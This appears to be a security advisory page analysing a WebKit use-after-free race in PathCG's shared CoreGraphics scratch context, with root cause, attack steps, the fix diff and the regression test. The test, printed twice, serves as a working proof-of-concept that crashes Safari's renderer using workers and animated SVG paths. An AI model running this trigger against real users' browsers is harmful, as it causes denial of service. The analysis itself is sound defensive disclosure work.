Medium webkit Race 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected Safari crash
DescriptionA use-after-free issue was addressed with improved memory management.
ComponentWebCore
Bug ClassRace
Tracker313935
Fix commit6ab6f0e16b4d (webkit) +131/-8
CISA KEVNot listed
CreditedNiels Hofmans, OGINOME Tomohito, an anonymous researcher
Disclosed2026-09-14

Background

`PathCG`
The CoreGraphics backend of WebCore’s Path abstraction (Source/WebCore/platform/graphics/cg/PathCG.cpp). It implements strokeContains() (hit-testing a point against a stroked path, used by isPointInStroke) and strokeBoundingRect() (computing the bounding box of a stroked path).
Scratch `CGContextRef`
Both routines need a throwaway CGContext to feed stroke geometry into CoreGraphics (CGContextSetLineDash, CGContextSaveGState, CGContextReplacePathWithStrokedPath, etc.). scratchContext() returns a process-wide singleton created once by createScratchContext().
`NeverDestroyed` vs `ThreadSpecific`
NeverDestroyed<T> is a single leaked instance shared by all threads. ThreadSpecific<T> gives each thread its own instance; the patch switches the scratch context from the former to the latter.
OffscreenCanvas workers
OffscreenCanvas.getContext("2d") plus isPointInStroke() lets a Web Worker drive PathCG::strokeContains() off the main thread, so path code runs concurrently on many threads.

Root Cause Analysis

scratchContext() returned a single process-wide CGContextRef (static NeverDestroyed<RetainPtr<CGContextRef>>). A CGContext is mutable, stateful CoreGraphics object: strokeContains() and strokeBoundingRect() both mutate it (save/restore graphics state, set the line dash array via CGContextSetLineDash, replace the path with its stroked version). The old code tried to serialize this with a lock — but each function declared its own static Lock scratchContextLock as a function-local static. Those are two distinct lock objects. strokeContains() therefore only excluded other strokeContains() callers, and strokeBoundingRect() only excluded other strokeBoundingRect() callers; the two functions did not mutually exclude each other even though they share the single scratch context.

Consequently a Worker thread executing strokeContains() (via OffscreenCanvas isPointInStroke) could run concurrently with the main thread executing strokeBoundingRect() (forced here by an SVG clip-path: ... stroke-box that recomputes the stroke bounding box on every paint), both mutating the same shared CGContext. Concurrent CGContextSetLineDash / gstate mutation races on CoreGraphics’ internal allocations, corrupting or freeing context-internal state out from under the other thread — the use-after-free / crash the advisory describes. The patch makes the scratch context ThreadSpecific, lazily creating one per thread (if (!result) result = createScratchContext();), and removes both locks entirely: with no cross-thread sharing there is nothing to race on.

Key insight
A single mutable CGContext was shared across threads, and the “lock” guarding it was two separate per-function locks that never excluded each other — so strokeContains() on a worker and strokeBoundingRect() on the main thread mutated the same context simultaneously.

Attack Path

  1. Spawn workers Page creates several OffscreenCanvas-backed Workers (the test uses 8) and transfers canvases to them.
  2. Hammer strokeContains Each worker loops calling ctx.isPointInStroke(...) with varying setLineDash patterns, continuously driving PathCG::strokeContains() on worker threads and mutating the shared scratch context.
  3. Force strokeBoundingRect on main thread The page builds SVG paths with clip-path: inset(0) stroke-box and animates their d/stroke-dasharray, forcing PathCG::strokeBoundingRect() on every main-thread paint.
  4. Concurrent mutation Main-thread strokeBoundingRect() and worker strokeContains() enter CoreGraphics on the same CGContext at once (no shared lock), racing on its internal dash/gstate allocations.
  5. Memory corruption The race corrupts/frees CoreGraphics context state, yielding a use-after-free and crash (an exploitable corruption primitive is inferred, not shown by the diff).

Impact Assessment

Runs in the WebContent (renderer) process. No special privilege is needed — plain web content with Workers, OffscreenCanvas and SVG triggers it. The demonstrated outcome is a data race on shared CoreGraphics state leading to a use-after-free crash; Apple’s advisory wording (“unexpected Safari crash”) matches a DoS, and any escalation to a controlled corruption primitive is inferred and not substantiated by the diff. Gating: requires concurrent execution (multiple threads), which Workers + main-thread painting provide reliably.

Changed Functions

FunctionChangeNotes
while
LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
modified
for
LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
modified

Files Changed

  • LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
  • LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
  • Source/WebCore/platform/graphics/cg/PathCG.cpp

Audit Directions

  • Other function-local `static Lock` guards
    Any pattern where two functions each declare their own static Lock intending to protect a shared resource is broken; grep for duplicated lock names guarding the same global.
  • Shared mutable CoreGraphics/CoreText singletons
    Audit other NeverDestroyed<RetainPtr<CGContextRef>> / shared CGContext/CTFont scratch objects reachable from both main thread and Worker/OffscreenCanvas paths.
  • OffscreenCanvas-reachable graphics code
    Any WebCore graphics routine newly reachable off-main-thread via OffscreenCanvas 2D should be re-audited for thread-affinity assumptions that predate Workers.
diff --git a/Source/WebCore/platform/graphics/cg/PathCG.cpp b/Source/WebCore/platform/graphics/cg/PathCG.cpp
index 9160c88b5cff..d91f1eaaedf5 100644
--- a/Source/WebCore/platform/graphics/cg/PathCG.cpp
+++ b/Source/WebCore/platform/graphics/cg/PathCG.cpp
@@ -597,17 +597,19 @@ static RetainPtr<CGContextRef> createScratchContext()
 
 static inline CGContextRef scratchContext()
 {
-    static NeverDestroyed<RetainPtr<CGContextRef>> context = createScratchContext();
-    return context.get().get();
+    static NeverDestroyed<ThreadSpecific<RetainPtr<CGContextRef>>> context;
+
+    auto& result = *context.get();
+    if (!result)
+        result = createScratchContext();
+
+    return result.get();
 }
 
 bool PathCG::strokeContains(const FloatPoint& point, NOESCAPE const Function<void(GraphicsContext&)>& strokeStyleApplier) const
 {
     ASSERT(strokeStyleApplier);
 
-    static Lock scratchContextLock;
-    Locker locker { scratchContextLock };
-
     CGContextRef context = scratchContext();
 
     CGContextSaveGState(context);
@@ -643,9 +645,6 @@ FloatRect PathCG::boundingRect() const
 
 FloatRect PathCG::strokeBoundingRect(NOESCAPE const Function<void(GraphicsContext&)>& strokeStyleApplier) const
 {
-    static Lock scratchContextLock;
-    Locker locker { scratchContextLock };
-
     CGContextRef context = scratchContext();
 
     CGContextSaveGState(context);
diff --git a/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
new file mode 100644
index 000000000000..d9bf9e397968
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
@@ -0,0 +1,5 @@
+Ensure Path uses thread-safe context to check strokeContains() and to calculate strokeBoundingBox().
+
+PASS if this test does not crash.
+
+
diff --git a/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
new file mode 100644
index 000000000000..1e19119c8fdf
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
@@ -0,0 +1,119 @@
+<body>
+<p>Ensure Path uses thread-safe context to check strokeContains() and to calculate strokeBoundingBox().</p>
+<p>PASS if this test does not crash.</p>
+<div id="container"></div>
+<script>
+    window.testRunner?.waitUntilDone();
+    window.testRunner?.dumpAsText();
+
+    function createOffscreenCanvasWorkers() {
+        const workerCode = `
+            self.onmessage = function(e) {
+                const ctx = e.data.getContext("2d");
+                let iter = 0;
+                while (true) {
+                    const dashLen = 2 + (iter % 6);
+                    const dashes = [];
+                    for (let d = 0; d < dashLen; d++)
+                        dashes.push(3 + ((iter * 7 + d * 13) % 30));
+
+                    ctx.setLineDash(dashes);
+                    ctx.lineDashOffset = iter % 50;
+                    ctx.lineWidth = 2 + (iter % 15);
+                    ctx.beginPath();
+
+                    for (let j = 0; j < 15; j++) {
+                        const a = j / 15 * Math.PI * 2 + iter * 0.1;
+                        const r = 30 + 20 * Math.sin(j * 0.7 + iter * 0.3);
+                        const x = 64 + r * Math.cos(a);
+                        const y = 64 + r * Math.sin(a);
+                        if (j === 0)
+                            ctx.moveTo(x, y);
+                        else 
+                            ctx.bezierCurveTo(x + 10 * Math.sin(iter + j), y + 10 * Math.cos(iter + j), x - 6 * Math.cos(iter * j), y - 6 * Math.sin(iter * j), x, y);
+                    }
+                    ctx.closePath();
+                    ctx.isPointInStroke(64, 64);
+                    iter++;
+                }
+            };
+        `;
+
+        // Launch 8 workers to hammer strokeContains
+        for (let i = 0; i < 8; i++) {
+            const canvas = document.createElement("canvas");
+            canvas.width = canvas.height = 128;
+            const offscreen = canvas.transferControlToOffscreen();
+            const worker = new Worker(URL.createObjectURL(new Blob([workerCode])));
+            worker.postMessage(offscreen, [offscreen]);
+        }
+    }
+
+    const svgPaths = [];
+
+    function createSVGPaths() {
+        const svgNS = "http://www.w3.org/2000/svg";
+        const container = document.getElementById('container');
+
+        // Create SVG paths with clip-path: circle(100%) stroke-box
+        // This forces strokeBoundingBox() computation during every paint
+        for (let i = 0; i < 20; i++) {
+            const svg = document.createElementNS(svgNS, "svg");
+            svg.setAttribute("width", "80");
+            svg.setAttribute("height", "80");
+            svg.style.display = "inline-block";
+
+            const path = document.createElementNS(svgNS, "path");
+            path.setAttribute("d", "M10,10 C50,0 50,80 70,70 L60,20 Q30,60 70,40 Z");
+            path.setAttribute("stroke", "red");
+            path.setAttribute("stroke-width", "4");
+            path.setAttribute("stroke-dasharray", "10,5,3,7");
+            path.setAttribute("fill", "blue");
+            // clip-path with stroke-box reference box forces strokeBoundingBox() on every paint
+            path.style.clipPath = "inset(0) stroke-box";
+
+            svg.appendChild(path);
+            container.appendChild(svg);
+            svgPaths.push(path);
+        }
+    }
+
+    let frameCount = 0;
+
+    function animationLoop() {
+        let generatePath = function (seed) {
+            let d = 'M' + (5 + seed % 40) + ',' + (5 + seed % 30);
+            for (let i = 0; i < 5; i++) {
+                const x1 = 5 + ((seed * 7 + i * 13) % 70);
+                const y1 = 5 + ((seed * 11 + i * 17) % 70);
+                const x2 = 5 + ((seed * 3 + i * 23) % 70);
+                const y2 = 5 + ((seed * 5 + i * 29) % 70);
+                const x = 5 + ((seed * 13 + i * 31) % 70);
+                const y = 5 + ((seed * 17 + i * 37) % 70);
+                d += ' C' + x1 + ',' + y1 + ' ' + x2 + ',' + y2 + ' ' + x + ',' + y;
+            }
+            d += ' Z';
+            return d;
+        };
+
+        // Modify all SVG paths to invalidate their stroke bounding box cache
+        for (let i = 0; i < svgPaths.length; i++) {
+            const seed = frameCount * 20 + i;
+            svgPaths[i].setAttribute('d', generatePath(seed));
+            // Vary dash pattern to ensure CGContextSetLineDash allocates different arrays
+            const d1 = 3 + ((seed * 7) % 20);
+            const d2 = 2 + ((seed * 11) % 12);
+            const d3 = 4 + ((seed * 3) % 15);
+            svgPaths[i].setAttribute('stroke-dasharray', d1 + ',' + d2 + ',' + d3);
+        }
+
+        if (++frameCount <= 10)
+            requestAnimationFrame(animationLoop);
+        else
+             window.testRunner?.notifyDone();
+    }
+
+    createOffscreenCanvasWorkers();
+    createSVGPaths();
+    requestAnimationFrame(animationLoop);
+</script>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
new file mode 100644
index 000000000000..d9bf9e397968
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
@@ -0,0 +1,5 @@
+Ensure Path uses thread-safe context to check strokeContains() and to calculate strokeBoundingBox().
+
+PASS if this test does not crash.
+
+
diff --git a/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
new file mode 100644
index 000000000000..1e19119c8fdf
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
@@ -0,0 +1,119 @@
+<body>
+<p>Ensure Path uses thread-safe context to check strokeContains() and to calculate strokeBoundingBox().</p>
+<p>PASS if this test does not crash.</p>
+<div id="container"></div>
+<script>
+    window.testRunner?.waitUntilDone();
+    window.testRunner?.dumpAsText();
+
+    function createOffscreenCanvasWorkers() {
+        const workerCode = `
+            self.onmessage = function(e) {
+                const ctx = e.data.getContext("2d");
+                let iter = 0;
+                while (true) {
+                    const dashLen = 2 + (iter % 6);
+                    const dashes = [];
+                    for (let d = 0; d < dashLen; d++)
+                        dashes.push(3 + ((iter * 7 + d * 13) % 30));
+
+                    ctx.setLineDash(dashes);
+                    ctx.lineDashOffset = iter % 50;
+                    ctx.lineWidth = 2 + (iter % 15);
+                    ctx.beginPath();
+
+                    for (let j = 0; j < 15; j++) {
+                        const a = j / 15 * Math.PI * 2 + iter * 0.1;
+                        const r = 30 + 20 * Math.sin(j * 0.7 + iter * 0.3);
+                        const x = 64 + r * Math.cos(a);
+                        const y = 64 + r * Math.sin(a);
+                        if (j === 0)
+                            ctx.moveTo(x, y);
+                        else 
+                            ctx.bezierCurveTo(x + 10 * Math.sin(iter + j), y + 10 * Math.cos(iter + j), x - 6 * Math.cos(iter * j), y - 6 * Math.sin(iter * j), x, y);
+                    }
+                    ctx.closePath();
+                    ctx.isPointInStroke(64, 64);
+                    iter++;
+                }
+            };
+        `;
+
+        // Launch 8 workers to hammer strokeContains
+        for (let i = 0; i < 8; i++) {
+            const canvas = document.createElement("canvas");
+            canvas.width = canvas.height = 128;
+            const offscreen = canvas.transferControlToOffscreen();
+            const worker = new Worker(URL.createObjectURL(new Blob([workerCode])));
+            worker.postMessage(offscreen, [offscreen]);
+        }
+    }
+
+    const svgPaths = [];
+
+    function createSVGPaths() {
+        const svgNS = "http://www.w3.org/2000/svg";
+        const container = document.getElementById('container');
+
+        // Create SVG paths with clip-path: circle(100%) stroke-box
+        // This forces strokeBoundingBox() computation during every paint
+        for (let i = 0; i < 20; i++) {
+            const svg = document.createElementNS(svgNS, "svg");
+            svg.setAttribute("width", "80");
+            svg.setAttribute("height", "80");
+            svg.style.display = "inline-block";
+
+            const path = document.createElementNS(svgNS, "path");
+            path.setAttribute("d", "M10,10 C50,0 50,80 70,70 L60,20 Q30,60 70,40 Z");
+            path.setAttribute("stroke", "red");
+            path.setAttribute("stroke-width", "4");
+            path.setAttribute("stroke-dasharray", "10,5,3,7");
+            path.setAttribute("fill", "blue");
+            // clip-path with stroke-box reference box forces strokeBoundingBox() on every paint
+            path.style.clipPath = "inset(0) stroke-box";
+
+            svg.appendChild(path);
+            container.appendChild(svg);
+            svgPaths.push(path);
+        }
+    }
+
+    let frameCount = 0;
+
+    function animationLoop() {
+        let generatePath = function (seed) {
+            let d = 'M' + (5 + seed % 40) + ',' + (5 + seed % 30);
+            for (let i = 0; i < 5; i++) {
+                const x1 = 5 + ((seed * 7 + i * 13) % 70);
+                const y1 = 5 + ((seed * 11 + i * 17) % 70);
+                const x2 = 5 + ((seed * 3 + i * 23) % 70);
+                const y2 = 5 + ((seed * 5 + i * 29) % 70);
+                const x = 5 + ((seed * 13 + i * 31) % 70);
+                const y = 5 + ((seed * 17 + i * 37) % 70);
+                d += ' C' + x1 + ',' + y1 + ' ' + x2 + ',' + y2 + ' ' + x + ',' + y;
+            }
+            d += ' Z';
+            return d;
+        };
+
+        // Modify all SVG paths to invalidate their stroke bounding box cache
+        for (let i = 0; i < svgPaths.length; i++) {
+            const seed = frameCount * 20 + i;
+            svgPaths[i].setAttribute('d', generatePath(seed));
+            // Vary dash pattern to ensure CGContextSetLineDash allocates different arrays
+            const d1 = 3 + ((seed * 7) % 20);
+            const d2 = 2 + ((seed * 11) % 12);
+            const d3 = 4 + ((seed * 3) % 15);
+            svgPaths[i].setAttribute('stroke-dasharray', d1 + ',' + d2 + ',' + d3);
+        }
+
+        if (++frameCount <= 10)
+            requestAnimationFrame(animationLoop);
+        else
+             window.testRunner?.notifyDone();
+    }
+
+    createOffscreenCanvasWorkers();
+    createSVGPaths();
+    requestAnimationFrame(animationLoop);
+</script>
Loading diff…